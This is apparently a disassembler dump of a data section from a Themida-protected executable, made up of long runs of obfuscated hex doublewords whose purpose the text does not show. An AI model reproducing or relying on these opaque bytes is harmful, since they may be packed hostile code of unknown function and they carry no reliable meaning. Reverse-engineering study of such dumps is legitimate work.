		dd 3268F8D6h, 1592ADE7h, 0D08B66D4h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0AEC7B1C3h
		dd 71642F74h, 892E23E9h, 14294585h, 8B515806h, 1402D1BDh
		dd 8C25F06h, 55B53100h,	906142Ah, 1418E19Dh, 8BC08B06h
		dd 142A9195h, 0D858D06h, 6A06181Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6028C351h
		dd 8B5F5160h, 141BE195h, 858B6106h, 61409A9h, 3D858961h
		dd 0BA06142Ch, 0F00E1000h, 0EA81h, 0C283F000h, 0F5958914h
		dd 83061431h, 858D14EAh, 6182F9Eh, 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0F98589C8h, 3061424h, 0B70F3C40h, 95890650h,	61418D1h
		dd 8950508Bh, 1419A995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 142B2195h, 8500306h,	31499589h, 8F640614h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2309BD83h, 0F000614h, 2484h,	5985C600h, 4706141Ah, 9AA7D268h
		dd 0D1B5FFD4h, 8D06141Ah, 1780DB85h, 6AD0FF06h,	89D0FF00h
		dd 14057D85h, 0E8D38B06h, 0Ch, 3633870Bh, 6AC8539Eh, 89CC0E81h
		dd 1D8B0Fh, 66600000h, 53F8D181h, 11E9h, 78311D00h, 0FDC8ECCBh
		dd 0FA50C17Ch, 0B5399FB2h, 5F6160F7h, 1890Fh, 81FC0000h
		dd 5A43C7h, 33C18B00h, 0D18B66F6h, 66370C8Bh, 817F09BBh
		dd 0CCC0A7E9h, 0E881660Fh, 0F1811177h, 670B925Ch, 880Fh
		dd 0F1810000h, 6F39D11Ch, 14E9h, 0D41E6F00h, 0D0022EFAh
		dd 0C958CBA4h, 0A51FA5A7h, 39F8BD87h, 0DF8051A8h, 37048F6Fh
		dd 81FD8AFCh, 0C24606EEh, 89EA8164h, 813350A6h,	0C24602C6h
		dd 68F0F64h, 60000000h,	0CBB70FF9h, 70FE8161h, 0FFFFFA6h
		dd 0FFFF8F85h, 60D18BFFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 91C35040h, 0E4A3713Eh, 8166F757h, 8BE413C9h
		dd 1424BDB5h, 8BC08B06h, 0B1BD83CEh, 61430h, 0BD830975h
		dd 6141AE1h, 50197400h,	0B8C08B53h, 438h, 1A498589h, 9D8D0614h
		dd 616B73Ah, 585BD3FFh,	1AE1BD83h, 74000614h, 0B8535017h
		dd 438h, 1A498589h, 9D8D0614h, 616B429h, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h, 70A0900Fh
		dd 0B5D6D79Fh, 0CE9FEh,	0ED0F0000h, 9D5BB442h, 10D8237h
		dd 8501F03Dh, 6142A55h,	7AB9C08Bh, 0E82D1837h, 94Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7FC35646h, 13C4339Dh
		dd 0FE9h, 712F2700h, 51AA1042h,	5DBE04A3h, 85127284h, 5918589h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0C89E1DC3h, 0EF76AACFh, 0DAB5FCDCh, 8E7E8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0AD858966h, 6A061414h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E5AC353h
		dd 0E951F157h, 9, 8B1488DEh, 0FCE1F583h, 830F5F34h, 6
		dd 369B58Bh, 85E80614h,	89000008h, 140B09BDh, 1858906h
		dd 6A061416h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E230C353h, 0E85E189Bh, 854h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D9C35040h
		dd 7CA81148h, 14E9h, 0B761E000h, 3E5B3F87h, 89B2B49Bh
		dd 3419DBC1h, 536AE2D9h, 91858914h, 6A06142Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 78DEC353h, 0D68156EEh, 60649F2Bh, 0E8F78B5Fh, 7E8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h
		dd 8A6CF761h, 0A58589E1h, 81061406h, 0AD78FD7h,	7B6E863h
		dd 0BD8B0000h, 61406B5h, 2E18589h, 8D8B0614h, 6141A41h
		dd 79FE8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0E2FB7992h, 4FD60C4h, 118E0Fh, 0E9510000h
		dd 0Ah,	629E3759h, 7FEBE63Ah, 0E959CE74h, 6, 7877B49Eh
		dd 858900A1h, 6140C4Dh,	1A219501h, 49E80614h, 6A000007h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A0F4C357h, 5E0DE1B4h, 68C0F01h, 1000000h
		dd 1405C9BDh, 71858906h, 6A061410h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DECFC356h
		dd 6850FE1h, 3000000h, 142BD1BDh, 0D1BD3306h, 0E806140Ah
		dd 6E0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	77C35343h, 0B9661F3Eh, 85891FE4h, 6140D49h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 31F31BD1h
		dd 0BD0BC476h, 6142A1Dh, 0CC88160h, 0B52D05FFh,	81E8614Bh
		dd 89000006h, 14231985h, 0FE8B6606h, 11E8h, 24C71700h
		dd 0C833C131h, 0D7605E4Ah, 490F63B1h, 8166E763h, 59EC6DD7h
		dd 657E8h, 69BD2900h, 2906141Ch, 1408E98Dh, 99858906h
		dd 6A061430h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0BEC2C357h, 0F99A6AF3h, 2952D6ECh
		dd 140F9D9Dh, 15E85906h, 6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3FB0C356h
		dd 9D29D28Ah, 6141C75h,	24058D31h, 85890614h, 6140669h
		dd 5DEE8F8h, 0CE810000h, 3A7A7C8Eh, 220D8589h, 6E90614h
		dd 0A3000000h, 0CE85EB34h, 0E8F38B56h, 5C0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 2AD04842h
		dd 8950A9C2h, 1423EDB5h, 9D895F06h, 61423E5h, 9E8h, 0DF5D5B00h
		dd 944FD093h, 0E9521542h, 10h, 0C1661E31h, 0C091AE9Ah
		dd 0D3C5A67h, 2479F50Bh, 85895E59h, 61400D5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h, 260AC873h
		dd 53EE82Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 7902A1C3h, 7987210Bh, 2C958589h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 7EDC37C3h, 0DEEC218Eh, 8B952C20h,	142C918Dh
		dd 4E6E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 8765EEC3h, 8D3591FDh, 89CE8F1Bh
		dd 14211185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 65273009h, 6A00B0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 2807B8C3h
		dd 5E9h, 3428AB00h, 0B60FF8DEh,	0FD9D89D8h, 0BA06141Ch
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 0D8C35242h, 955BAC05h, 0B3C2C4B4h, 0D459D89h, 0C38B0614h
		dd 6B5B58Bh, 0E8C10614h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 1F93698h, 1419818Dh, 0E2F76606h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h
		dd 3363B50Dh, 0E5847EB2h, 2BBECD80h, 53006AD8h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0CA151033h
		dd 5650DBD7h, 2CF7CEB9h, 1C895E3Bh, 0F98B6624h,	2E4595FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 30007C3h,	12F53AEBh, 0EA8A811Eh, 963BEABEh
		dd 958D5B31h, 6142015h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 25C35242h, 0C27F094Ah, 0AE8h,	73B01300h
		dd 6B61CC66h, 0FF23982h, 688h, 840F00h,	5F000000h, 800F1A89h
		dd 0Bh,	58D0Fh,	81660000h, 893216F6h, 0B5BE0442h, 8D7D3628h
		dd 1414B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 97565687h, 1261552Eh, 0F98D89D2h
		dd 89061429h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A19A0288h, 4428992h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2CC35646h, 381060C1h
		dd 3092F649h, 0E1D958Dh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 57E4A3C3h, 4F1812F7h
		dd 292B98CCh, 140C3585h, 661A8906h, 4289FA8Bh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 541F0E92h, 0F9B70F7Bh, 11718D8Bh, 958D0614h,	61408D5h
		dd 54D8589h, 1A890614h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 5FC35040h, 63E46FE5h,	8DC58050h, 6A044289h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A603C353h, 0E1F68BBh, 958DBE82h,	6142A29h
		dd 1A89F78Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0ACC35747h, 7E856h, 63420000h, 32B99316h, 5FCB8B2Eh
		dd 442895Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	6CC35242h, 0A5E94ABh, 958DA47Ch, 61406C1h, 10E8h
		dd 6834E200h, 0C829CEEEh, 857B9010h, 0D72ADFDEh, 1A8959BBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EDC35040h
		dd 8B2CF88Ah, 44289F3h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9BC35343h, 3DDF672Bh,	8BCFF00Eh, 142AF18Dh
		dd 0B9958D06h, 8B06141Ah, 1411758Dh, 798D8906h,	8906140Ah
		dd 53006A1Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 30BC6E84h, 0D8895B90h, 0EE99156h, 0B4000000h
		dd 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 44289B4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0FFC35747h, 0C43F2AF7h
		dd 0BEF87AEFh, 13D8E05Dh, 19F5958Dh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0BB0C03C3h
		dd 8B6DC96Eh, 6A1A89CEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 61EFC355h, 0D180B364h
		dd 44289CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	79C35646h, 2FB6D54Ah, 303E6E56h, 0D2E9F5C2h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6D59C353h, 0C3C2D181h, 890F68B1h,	0Ch, 6820Fh
		dd 85890000h, 614198Dh,	8B51006Ah, 1412B1BDh, 6A5F06h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B4C35646h
		dd 82379D5Bh, 0F03D010Dh, 0C840Fh, 850F0000h, 6, 89BD8Bh
		dd 6A0614h, 61BD8Bh, 6A0614h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 7CC35242h, 0C816B62Ah, 14E8h
		dd 0BB0FE500h, 81227403h, 0A54F4796h, 41C3D0F7h, 59BC8DBCh
		dd 8B6660A8h, 61D98BDAh, 7595FF59h, 0B061430h, 141C2DB5h
		dd 8B66C306h, 6AC58AFEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B87C356h, 140E898Dh
		dd 91958906h, 8B061423h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0F9CCDEE0h, 0E9E03E1Eh
		dd 0Bh,	8D48C532h, 0D0720270h, 83A248F4h, 1430B1BDh, 9750006h
		dd 1AE1BD83h, 74000614h, 8B535019h, 438B8C0h, 85890000h
		dd 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h
		dd 50177400h, 438B853h,	85890000h, 61430C1h, 0B4429D8Dh
		dd 0D3FF0616h, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8926CDC3h, 1430918Dh, 0C8F0F06h
		dd 0F000000h, 68Bh, 0B1850100h,	89061429h, 140C7585h, 8DC08B06h
		dd 140F9985h, 2D958906h, 0E806141Ah, 0Ah
dword_58C824	dd 4D47346Fh, 6772238Dh, 880F883Ch, 6, 21F99D8Bh, 505F0614h
					; DATA XREF: Themida_:0054AED0o
					; Themida_:0054BB24o
		dd 8B665250h, 0F310FDFh, 1986h,	13E800h, 9E2F0000h, 264AA02Ah
		dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 585A5BC7h, 89240489h
		dd 1422F1BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 2681C355h, 0FEB16ABh
		dd 33006AE1h, 14166DBDh, 27858D06h, 6A06183Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 80FDC355h, 0F8FC05A8h, 0FC3AD4DEh, 8905C083h, 142F45BDh
		dd 11E95006h, 0F9000000h, 0EE2D55Eh, 9141DE2Fh,	40424191h
		dd 73F78E9Ch, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 2105C350h, 0BF9B9739h
		dd 8C0F9B5Dh, 12h, 6E8h
		db 0
byte_58C915	db 2Ah,	29h, 0Ch	; DATA XREF: Themida_:0054A2D4o
		dd 8BEBDEF9h, 1422D5BDh, 0F605B06h, 0ABBBDBBFh,	6179ABF9h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 6AD3C3h, 9D58D29h, 95FF0614h, 6141A71h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B3C35545h, 12B2BF0Ah
		dd 517968C5h, 0FFBF0F50h, 0A8FC8D8Dh, 9D890617h, 61416F5h
		dd 1C6D8531h, 0D1FF0614h, 71E3BF53h, 835B0041h,	1412CDBDh
		dd 850F0106h, 5Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 8CC35747h, 0C887FA5Fh, 8B41550Eh, 1402DD9Dh
		dd 0BB026A06h, 5131C9A7h, 95BF6690h, 60905039h,	12E9C78Bh
		dd 0C6000000h, 61DBE919h, 3617418h, 7F5CF89Ah, 0EA28D1BFh
		dd 95FF61B0h, 6140939h,	2B698589h, 0BDE90614h, 0E800000Dh
		dd 0
		dd 31ED815Dh, 8906183Eh, 142B0DB5h, 23858D06h, 0E9061796h
		dd 0Bh,	0D96E8B71h, 7176E494h, 5026B26Bh, 0BFBF6660h, 11E9D9h
		dd 0DC1B0000h, 0BA7C4062h, 997DF1AEh, 9ABE0BE0h, 613972F5h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F77C350h, 1A83h, 0EE800h, 22A90000h
		dd 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 791BD8Bh,	645F0614h
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0DFE9A5C3h, 6CAAAD4Fh, 0B3ACAECFh
		dd 645B5703h, 2589h, 820F0000h,	6, 77ADD781h, 85FF7D4Fh
		dd 614236Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	83C35242h, 8B4A23A5h, 140ED1BDh, 6AFF6A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 1EBBC357h, 0E29B3C48h, 91B5FF24h, 0F061405h,	84h, 1995FF00h
		dd 0E906142Bh, 0FEh, 1D89B531h,	80510614h, 0B05F56CFh
		dd 70E6F800h, 71E4DA8Bh, 0BD1BD33h, 613C0614h, 0DC830Fh
		dd 10BB0000h, 0F52D86Ch, 0B60FDBBFh, 0B5BD8BC8h, 0BA061415h
		dd 6, 0B18D89h,	0C18B0614h, 8B0Fh, 0E8C10000h, 0C1BD8B04h
		dd 6606142Eh, 0BD33E2F7h, 61424A1h, 9D8BC82Bh, 6141BC1h
		dd 9CDFEB81h, 0D18B30F1h, 4E9h,	94BF6600h, 15858B3Ch, 8B061420h
		dd 7C083DAh, 1AFDB589h,	95290614h, 6142C51h, 3B00C083h
		dd 11830FD0h, 0F000000h, 387h, 0DFBF0F00h, 5DE9h, 0DBBF0F00h
		dd 1AF98D8Bh, 0DF8B0614h, 0F01E183h, 4984h, 7E800h, 0CC530000h
		dd 4B967DDCh, 0A5835F4Dh, 6141AF9h, 2820FFEh, 8B000000h
		dd 159589D8h, 0E8061420h, 0Eh, 3660F7B5h, 664B11BDh, 0F983054h
		dd 85292734h, 614038Dh,	9D8B535Bh, 6140CB5h, 0E95Fh, 0B58D0000h
		dd 617C0E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	8AC35545h, 0BD8B701Fh, 61424A5h, 95FF006Ah, 6141169h
		dd 7E9h, 89E19800h, 0B471A916h,	16A58531h, 97B90614h, 0E9000007h
		dd 7, 0EFE4BBD2h, 8B609D1Ah, 1434D19Dh,	0FCE18306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8BC35747h, 710952Fh
		dd 11CF7530h, 6CD78166h, 6AFC59h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8B66CAC3h, 0B8F8h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 61C18FC3h, 81660646h, 66B0E2DFh, 2B5088BFh, 8B6651D2h
		dd 33AD5FF9h, 3E8D1C2h,	4E983D0h, 8166F475h, 0D7297CBh
		dd 88h,	8BFBB70Fh, 14322995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 54BEECFh, 0AA202C3Dh
		dd 0B1BD0301h, 6606141Dh, 0BAE9F781h, 64D8D8Bh,	6A0614h
		dd 3E853h, 5B200000h
dword_58CD70	dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 48A1B0C3h
					; DATA XREF: Themida_:0054A7DCo
		dd 4F38E649h, 0E185896Ch, 0E9061414h, 8, 0F0C5EAD7h, 157A4A7Ch
		dd 8B50FB8Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 35C35545h
		dd 59662652h, 0FA9BD89h, 1EB70614h, 29ADBD83h, 0F000614h
		dd 6584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 18C5823Fh, 0B858h, 0BB660000h, 8D8DB5D1h
		dd 6144D79h, 2CF9BD0Bh,	0BD8B0614h, 61422DDh, 6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2358D5C3h, 0AD0A090Fh, 0BF669237h, 0BD8364D8h, 6142671h
		dd 8A840F00h, 52000004h, 835BFA8Bh, 142671BDh, 840F0106h
		dd 494h, 7E8h, 0E733E600h, 0AB373C84h, 0C483E781h, 835B6DC9h
		dd 142671BDh, 860F0306h, 43Eh, 21158D89h, 6A600614h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0DBCFC351h, 875E5B1Fh, 9531122Ch, 6140D01h, 0F9D98C66h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0BF5C353h, 4AECCDFDh, 8D0F16CAh
		dd 3, 0AFA8B66h, 4E840FC9h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 99B9C350h
		dd 0D98B6664h, 1969858Bh, 0BD8B0614h, 6142511h,	1B818533h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 518871C3h, 0BBD13EF1h, 5E0A21A9h,	0E8525090h
		dd 12h,	158E6A9Fh, 666312D8h, 1101993Ch, 0BEA64C27h, 61607A0Fh
		dd 5A310F5Bh, 0DA8B5058h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0CE2A4426h
		dd 7D5D012Dh, 6AF98AADh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0AEA3B3D4h, 0F3B14738h
		dd 2CD59D8Bh, 28680614h, 0BF66753Ch, 578EE141h,	0D7243481h
		dd 6A666A3Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 8B16C351h, 0C7F311B5h,	27C38EF0h
		dd 0CF59D89h, 0B70F0614h, 0AD95FFDBh, 0F061409h, 485h
		dd 11BB6600h, 98858981h, 6A0617AAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD3C350h
		dd 1432259Dh, 1EBE906h,	0B70F0000h, 90858BFAh, 6A0617AAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C830C355h, 0C799DB41h, 1800h, 5E900h, 0D7C70000h
		dd 8BF2CA0Eh, 17AA94B5h, 12E806h, 7E550000h, 0D7550CC5h
		dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0ADCBB66h,	29858B5Fh
		dd 6A06140Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 580EC357h, 0CD379E72h,	2E5BD8Bh
		dd 6890614h, 1969858Bh,	0FE90614h, 53000000h, 675D33C4h
		dd 0B8BC3651h, 3EB02807h, 0FC8A4002h, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0B267C353h, 8A0A836Ah, 5DC3BFD9h, 509665D4h,	0BF665250h
		dd 310F62BCh, 0FF15BF66h, 505B585Ah, 10E8h, 0CC41F300h
		dd 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 14E9B6h, 1D630000h
		dd 3DC193FEh, 24574B30h, 514CA8C1h, 4543F36Dh, 965BC4CDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DFC35646h
		dd 7236EFB0h, 9E83FFCh,	4000000h, 29FF579h, 4CF93A97h
		dd 9DC78166h, 0B5FF5BB2h, 617AA90h, 902818BFh, 62876813h
		dd 0BB6639FCh, 34811BFBh, 0E3617824h, 0D59D3339h, 8D061422h
		dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6069CE2Eh, 0E9158A68h, 0Fh, 521991Ch
		dd 0EABD592Bh, 9D0E8073h, 904AC6CCh, 0F1DFBF66h, 0D98B6050h
		dd 505B5660h, 90616159h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 96C35545h, 0DD41733h,	891DDE93h, 142EB985h
		dd 0AD95FF06h, 8B061409h, 140459BDh, 6A6106h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4CD976C3h
		dd 6860Fh, 0BD8B0000h, 61405C1h, 6800Fh, 0E7810000h, 730D4078h
		dd 267185C7h, 30614h, 7E90000h,	1B000000h, 3C5073BAh, 0FE98DC3h
		dd 0DA000000h, 190FB360h, 0D70B1730h, 89CFAB2h,	0BD838843h
		dd 617AA98h, 2F840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0ECDDC355h
		dd 2EAF277Ah, 959501F5h, 0E906140Ch, 1Dh, 3050F98Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8E9F129h, 0AF000000h, 25B356AAh, 8B252BA1h, 141C39BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 36668D8Eh, 8BAFD96Bh, 1430359Dh,	71BD8306h
		dd 3061426h, 411850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 28D221C3h, 0AEE87B55h
		dd 0AE8AAB7h, 36000000h, 0DD99F068h, 3391D3D6h,	99C38018h
		dd 98BD835Bh, 617AAh, 3CD840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 118E2EC3h
		dd 0FFFB8B66h, 17AA98B5h, 0D9D8906h, 0FF06140Bh, 142AF595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B8E99B3h, 1418EDBDh, 8CB58B06h,	0F0617AAh
		dd 686h, 398D8900h, 0BB06142Fh,	2F5BF1ADh, 106C7h, 0BD8B0001h
		dd 6141C31h, 0F88B5750h, 2434895Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 1EC35040h, 0BF0F661Bh, 98B5FFD9h
		dd 660617AAh, 0CABCD781h, 0B3195FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B4F0FC3h
		dd 17AA8CB5h, 0D5858B06h, 6A061421h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 48EC350h
		dd 1A63A6BBh, 11659D23h, 86890614h, 0C4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0DDC35343h, 300FEB8h
		dd 142A15BDh, 918D8906h, 8B06140Bh, 14322995h, 0F2CB8106h
		dd 8308C9F8h, 0BF6604C2h, 5089C5C3h, 0F98B6620h, 2EB59589h
		dd 858D0614h, 617BE06h,	0F5BF856h, 186h, 8689F900h, 0B8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
		dd 754363C5h, 3519D8Bh,	0C3810614h, 3FD0CDCDh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0EB4EC1C3h, 860FA7A7h, 6,	2CA19529h, 0B5FF0614h
		dd 617AA98h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	4CC35646h, 0D2368F93h, 134FA557h, 93995FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0EDE7F2C3h, 0B5D503EAh, 0AE8h, 644FA000h, 0A3713E91h
		dd 1F757E4h, 1413699Dh,	9D335F06h, 6141B99h, 503CB396h
		dd 8636BB66h, 0B1F38196h, 0FF5460ACh, 17AA98B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0BD2B1928h, 8918ACB4h, 142B2D85h, 0F595FF06h, 0BF061420h
		dd 0B623C70h, 0C21BD83h, 0F000614h, 6F84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0A6236194h, 12E9DBh,	7FF0000h, 9C8324C9h, 52B9F323h
